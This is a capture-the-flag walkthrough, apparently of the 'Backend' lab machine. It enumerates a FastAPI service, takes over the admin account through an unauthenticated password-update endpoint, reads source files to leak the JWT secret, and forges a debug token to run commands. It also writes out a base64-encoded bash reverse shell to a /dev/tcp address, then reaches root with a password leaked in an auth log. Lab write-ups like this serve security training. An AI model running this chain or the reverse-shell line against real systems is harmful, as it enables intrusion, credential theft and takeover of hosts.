Backend
Enumeration
└─$ nmap -Pn -p- 10.10.11.161 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 18:46 GMT
Nmap scan report for 10.10.11.161 (10.10.11.161)
Host is up (0.18s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8527/tcp filtered unknown
20524/tcp filtered unknown
30552/tcp filtered unknown
51149/tcp filtered unknown
└─$ nmap -Pn -p22,80 -sC -sV 10.10.11.161 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 18:51 GMT
Nmap scan report for 10.10.11.161 (10.10.11.161)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| content-type: text/plain; charset=utf-8
| Connection: close
| Invalid HTTP request received.
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| date: Fri, 10 Nov 2023 23:02:09 GMT
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"detail":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| date: Fri, 10 Nov 2023 23:01:55 GMT
| server: uvicorn
| content-length: 29
| content-type: application/json
| Connection: close
| {"msg":"UHC API Version 1.0"}
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| date: Fri, 10 Nov 2023 23:02:02 GMT
| server: uvicorn
| content-length: 31
| content-type: application/json
| Connection: close
|_ {"detail":"Method Not Allowed"}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94%I=7%D=11/10%Time=654E7BD1%P=x86_64-pc-linux-gnu%r(Get
SF:Request,AD,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Fri,\x2010\x20Nov\x20202
SF:3\x2023:01:55\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2029\r\n
SF:content-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"msg
SF:\":\"UHC\x20API\x20Version\x201\.0\"}")%r(HTTPOptions,BF,"HTTP/1\.1\x20
SF:405\x20Method\x20Not\x20Allowed\r\ndate:\x20Fri,\x2010\x20Nov\x202023\x
SF:2023:02:02\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\ncon
SF:tent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail
SF:\":\"Method\x20Not\x20Allowed\"}")%r(RTSPRequest,76,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCo
SF:nnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(
SF:FourOhFourRequest,AD,"HTTP/1\.1\x20404\x20Not\x20Found\r\ndate:\x20Fri,
SF:\x2010\x20Nov\x202023\x2023:02:09\x20GMT\r\nserver:\x20uvicorn\r\nconte
SF:nt-length:\x2022\r\ncontent-type:\x20application/json\r\nConnection:\x2
SF:0close\r\n\r\n{\"detail\":\"Not\x20Found\"}")%r(GenericLines,76,"HTTP/1
SF:\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset
SF:=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20rec
SF:eived\.")%r(DNSVersionBindReqTCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(DNSStatusRequest
SF:TCP,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20HTTP\x20
SF:request\x20received\.")%r(SSLSessionReq,76,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.")%r(TerminalS
SF:erverCookie,76,"HTTP/1\.1\x20400\x20Bad\x20Request\r\ncontent-type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\nInvalid\x20
SF:HTTP\x20request\x20received\.")%r(TLSSessionReq,76,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\ncontent-type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\nInvalid\x20HTTP\x20request\x20received\.");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 86.90 seconds
└─$ gobuster dir -u http://10.10.11.161/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.161/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 401) [Size: 30]
/api (Status: 200) [Size: 20]
api
endpoint returns v1
endpoint
user
returns Not Found
- We probably have to fuzz, since
- If I visit
http://10.10.11.161/api/v1/user/1
I found a user
- I’ll run
wfuzz
with range
option and then with wordlist
- I tried both
POST
and GET
methods - Below are the results I got
└─$ wfuzz -u 'http://10.10.11.161/api/v1/user/FUZZ' -z range,0-1000 --hh 4
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.161/api/v1/user/FUZZ
Total requests: 1001
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 0 L 1 W 141 Ch "1"
└─$ wfuzz -u 'http://10.10.11.161/api/v1/user/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -XPOST --hh 31
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.161/api/v1/user/FUZZ
Total requests: 63087
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000009: 422 0 L 3 W 172 Ch "login"
000000396: 422 0 L 2 W 81 Ch "signup"
- Let’s also
fuzz
admin
endpoint
└─$ feroxbuster -u http://10.10.11.161/api/v1/admin -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -t 50 -mPOST,GET,PUT
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.161/api/v1/admin
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [POST, GET, PUT]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
307 POST 0l 0w 0c http://10.10.11.161/api/v1/admin => http://10.10.11.161/api/v1/admin/
307 GET 0l 0w 0c http://10.10.11.161/api/v1/admin => http://10.10.11.161/api/v1/admin/
307 PUT 0l 0w 0c http://10.10.11.161/api/v1/admin => http://10.10.11.161/api/v1/admin/
405 POST 1l 3w 31c http://10.10.11.161/api/v1/admin/
401 GET 1l 2w 30c http://10.10.11.161/api/v1/admin/
405 PUT 1l 3w 31c http://10.10.11.161/api/v1/admin/
401 POST 1l 2w 30c http://10.10.11.161/api/v1/admin/file
405 GET 1l 3w 31c http://10.10.11.161/api/v1/admin/file
405 PUT 1l 3w 31c http://10.10.11.161/api/v1/admin/file
- We have
signup
and login
endpoints- We have to register a user and login
- We have to input
email
and password
└─$ curl -s -XPOST http://10.10.11.161/api/v1/user/login | jq .
{
"detail": [
{
"loc": [
"body",
"username"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
└─$ curl -s -XPOST http://10.10.11.161/api/v1/user/signup | jq .
{
"detail": [
{
"loc": [
"body"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
└─$ curl -s -XPOST http://10.10.11.161/api/v1/user/signup -H 'Content-Type: application/json' -d '{"key":"value"}'| jq .
{
"detail": [
{
"loc": [
"body",
"email"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
└─$ curl -s -XPOST http://10.10.11.161/api/v1/user/signup -H 'Content-Type: application/json' -d '{"email":"pentest@mail.htb", "password":"P@ssword1"}'| jq .
{}
└─$ curl -s -XPOST http://10.10.11.161/api/v1/user/login -H 'Content-Type: application/json' -d '{"username":"pentest@mail.htb", "password":"P@ssword1"}'| jq .
{
"detail": [
{
"loc": [
"body",
"username"
],
"msg": "field required",
"type": "value_error.missing"
},
{
"loc": [
"body",
"password"
],
"msg": "field required",
"type": "value_error.missing"
}
]
}
- It doesn’t work
- Let’s try sending simple
http
body
└─$ curl -s -XPOST http://10.10.11.161/api/v1/user/login -d 'username=pentest@mail.htb&password=P@ssword1' | jq .
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDkzODIwLCJpYXQiOjE2OTk4MDI2MjAsInN1YiI6IjIiLCJpc19zdXBlcnVzZXIiOmZhbHNlLCJndWlkIjoiNWRlNmQyODMtMzM0ZS00OTAyLWE0ZDEtNmRmMjQ5OWI5NmM0In0.oczL0rs8ovC9ZhiQpBcBK7noel-x3Yofp0uZfs0Mopk",
"token_type": "bearer"
}
- Let’s navigate to
docs
- Use
Simply Modify Header
extension on Firefox
/api/v1/admin/exec/{command}
requires Debug Permissions
{
"detail": "Debug key missing from JWT"
}
- We have
/api/v1/user/updatepass
endpoint- And it doesn’t require authorization
- Let’s try changing
admin
’s password- Visit http://10.10.11.161/api/v1/user/1 to get
admin
’s guid
└─$ curl -s -XPOST http://10.10.11.161/api/v1/user/login -d 'username=admin@htb.local&password=P@ssw0rd' | jq .
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY",
"token_type": "bearer"
}
- Now we can use
admin
’s endpoints
- Let’s try executing command
- But we have to modify
jwt
, thus we need a secret to do that - Let’s use
file
endpoint and check the source code
└─$ curl -s 'http://10.10.11.161/api/v1/admin/file' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY' -H 'Content-Type: application/json' -d '{"file": "/proc/self/environ"}' | jq -r '.file'
APP_MODULE=app.main:appPWD=/home/htb/uhcLOGNAME=htbPORT=80HOME=/home/htbLANG=C.UTF-8VIRTUAL_ENV=/home/htb/uhc/.venvINVOCATION_ID=adb0663a4d7542eba0d4209d6f9cefbdHOST=0.0.0.0USER=htbSHLVL=0PS1=(.venv) JOURNAL_STREAM=9:17330PATH=/home/htb/uhc/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binOLDPWD=/
└─$ curl -s 'http://10.10.11.161/api/v1/admin/file' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY' -H 'Content-Type: application/json' -d '{"file": "/proc/self/cmdline"}' | jq -r '.file'
/home/htb/uhc/.venv/bin/python3-cfrom multiprocessing.spawn import spawn_main; spawn_main(tracker_fd=5, pipe_handle=7)--multiprocessing-fork
└─$ curl -s 'http://10.10.11.161/api/v1/admin/file' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY' -H 'Content-Type: application/json' -d '{"file": "/home/htb/uhc/app/main.py"}' | jq -r '.file'
import asyncio
from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from fastapi.openapi.docs import get_swagger_ui_html
from fastapi.openapi.utils import get_openapi
from typing import Optional, Any
from pathlib import Path
from sqlalchemy.orm import Session
from app.schemas.user import User
from app.api.v1.api import api_router
from app.core.config import settings
from app import deps
from app import crud
app = FastAPI(title="UHC API Quals", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)
<SNIP>
def start():
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
if __name__ == "__main__":
# Use this for debugging purposes only
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8001, log_level="debug")
- We see
from app.api.v1.api import api_router
, which could mean that app/api/v1/api.py
or app/api/v1/api/api_router.py
└─$ curl -s 'http://10.10.11.161/api/v1/admin/file' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY' -H 'Content-Type: application/json' -d '{"file": "/home/htb/uhc/app/api/v1/api.py"}' | jq -r '.file'
from fastapi import APIRouter
from app.api.v1.endpoints import user, admin
api_router = APIRouter()
api_router.include_router(user.router, prefix="/user", tags=["user"])
api_router.include_router(admin.router, prefix="/admin", tags=["admin"])
from app.api.v1.endpoints import user, admin
└─$ curl -s 'http://10.10.11.161/api/v1/admin/file' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY' -H 'Content-Type: application/json' -d '{"file": "/home/htb/uhc/app/api/v1/endpoints/admin.py"}' | jq -r '.file'
import asyncio
from fastapi import APIRouter, Depends, HTTPException, Query, Request
from sqlalchemy.orm import Session
from typing import Any, Optional
from app import crud
from app.api import deps
from app import schemas
from app.schemas.admin import GetFile
from app.schemas.user import User
router = APIRouter()
<SNIP>
@router.get("/exec/{command}", status_code=200)
def run_command(
command: str,
current_user: User = Depends(deps.parse_token),
db: Session = Depends(deps.get_db)
) -> str:
"""
Executes a command. Requires Debug Permissions.
"""
if "debug" not in current_user.keys():
raise HTTPException(status_code=400, detail="Debug key missing from JWT")
import subprocess
return subprocess.run(["/bin/sh","-c",command], stdout=subprocess.PIPE).stdout.strip()
- Okay, we see the check
if "debug" not in current_user.keys()
- Let’s find a
secret
from app.api import deps
so app/api/deps.py
└─$ curl -s 'http://10.10.11.161/api/v1/admin/file' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY' -H 'Content-Type: application/json' -d '{"file": "/home/htb/uhc/app/api/deps.py"}' | jq -r '.file'
from typing import Generator, Optional
from fastapi import Depends, HTTPException, status
from jose import jwt, JWTError
from pydantic import BaseModel
from sqlalchemy.orm.session import Session
from app.core.auth import oauth2_scheme
from app.core.config import settings
from app.db.session import SessionLocal
from app.models.user import User
<SNIP>
async def get_current_user(
db: Session = Depends(get_db), token: str = Depends(oauth2_scheme)
) -> User:
credentials_exception = HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Could not validate credentials",
headers={"WWW-Authenticate": "Bearer"},
)
try:
payload = jwt.decode(
token,
settings.JWT_SECRET,
algorithms=[settings.ALGORITHM],
options={"verify_aud": False},
)
username: str = payload.get("sub")
if username is None:
raise credentials_exception
token_data = TokenData(username=username)
except JWTError:
raise credentials_exception
user = db.query(User).filter(User.id == token_data.username).first()
if user is None:
raise credentials_exception
return user
<SNIP>
app.core.config import settings
, since settings.JWT_SECRET
- We have to check
app/core/config.py
or app/core/config/settings.py
└─$ curl -s 'http://10.10.11.161/api/v1/admin/file' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQifQ.iacd8W7W-fJk3RfFl5R1W82FwYS98cjzyZ8zsdmx0vY' -H 'Content-Type: application/json' -d '{"file": "/home/htb/uhc/app/core/config.py"}' | jq -r '.file'
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union
from enum import Enum
class Settings(BaseSettings):
API_V1_STR: str = "/api/v1"
JWT_SECRET: str = "SuperSecretSigningKey-HTB"
ALGORITHM: str = "HS256"
# 60 minutes * 24 hours * 8 days = 8 days
ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
# BACKEND_CORS_ORIGINS is a JSON-formatted list of origins
# e.g: '["http://localhost", "http://localhost:4200", "http://localhost:3000", \
# "http://localhost:8080", "http://local.dockertoolbox.tiangolo.com"]'
BACKEND_CORS_ORIGINS: List[AnyHttpUrl] = []
@validator("BACKEND_CORS_ORIGINS", pre=True)
def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
if isinstance(v, str) and not v.startswith("["):
return [i.strip() for i in v.split(",")]
elif isinstance(v, (list, str)):
return v
raise ValueError(v)
SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///uhc.db"
FIRST_SUPERUSER: EmailStr = "root@ippsec.rocks"
class Config:
case_sensitive = True
settings = Settings()
- The key is
SuperSecretSigningKey-HTB
- Let’s generate our token with
debug
key
- And it works
- I’ll use
base64
encoded payload and replace spaces with %20
└─$ curl -s http://10.10.11.161/api/v1/admin/exec/id -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQiLCJkZWJ1ZyI6dHJ1ZX0.xMuQcHbWkrL26gqgMxmvTqTxV7bvaFRnVRidtpb3rAw' | jq -r .
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)
└─$ echo 'bash -c "bash -i >& /dev/tcp/10.10.16.4/6666 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNC82NjY2IDA+JjEiCg==
└─$ curl -s 'http://10.10.11.161/api/v1/admin/exec/echo%20YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNC82NjY2IDA+JjEiCg==|base64%20-d|bash' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNzAwNDk4NTM0LCJpYXQiOjE2OTk4MDczMzQsInN1YiI6IjEiLCJpc19zdXBlcnVzZXIiOnRydWUsImd1aWQiOiIzNmMyZTk0YS00MjcxLTQyNTktOTNiZi1jOTZhZDU5NDgyODQiLCJkZWJ1ZyI6dHJ1ZX0.xMuQcHbWkrL26gqgMxmvTqTxV7bvaFRnVRidtpb3rAw' | jq -r .
Root
htb@backend:~/uhc$ cat auth.log
11/12/2023, 09:30:42 - Login Success for admin@htb.local
11/12/2023, 09:34:02 - Login Success for admin@htb.local
11/12/2023, 09:47:22 - Login Success for admin@htb.local
11/12/2023, 09:50:42 - Login Success for admin@htb.local
11/12/2023, 09:55:42 - Login Success for admin@htb.local
11/12/2023, 09:59:02 - Login Success for admin@htb.local
11/12/2023, 10:12:22 - Login Success for admin@htb.local
11/12/2023, 10:20:42 - Login Success for admin@htb.local
11/12/2023, 10:22:22 - Login Success for admin@htb.local
11/12/2023, 10:29:02 - Login Success for admin@htb.local
11/12/2023, 10:37:22 - Login Failure for Tr0ub4dor&3
11/12/2023, 10:38:57 - Login Success for admin@htb.local
11/12/2023, 10:39:02 - Login Success for admin@htb.local
11/12/2023, 10:39:22 - Login Success for admin@htb.local
11/12/2023, 10:40:42 - Login Success for admin@htb.local
11/12/2023, 10:45:42 - Login Success for admin@htb.local
11/12/2023, 10:52:22 - Login Success for admin@htb.local
11/12/2023, 15:23:39 - Login Success for pentest@mail.htb
11/12/2023, 16:42:14 - Login Success for admin@htb.local
- If we try to use as password for
root
, it works
htb@backend:~/uhc$ su -
Password:
root@backend:~#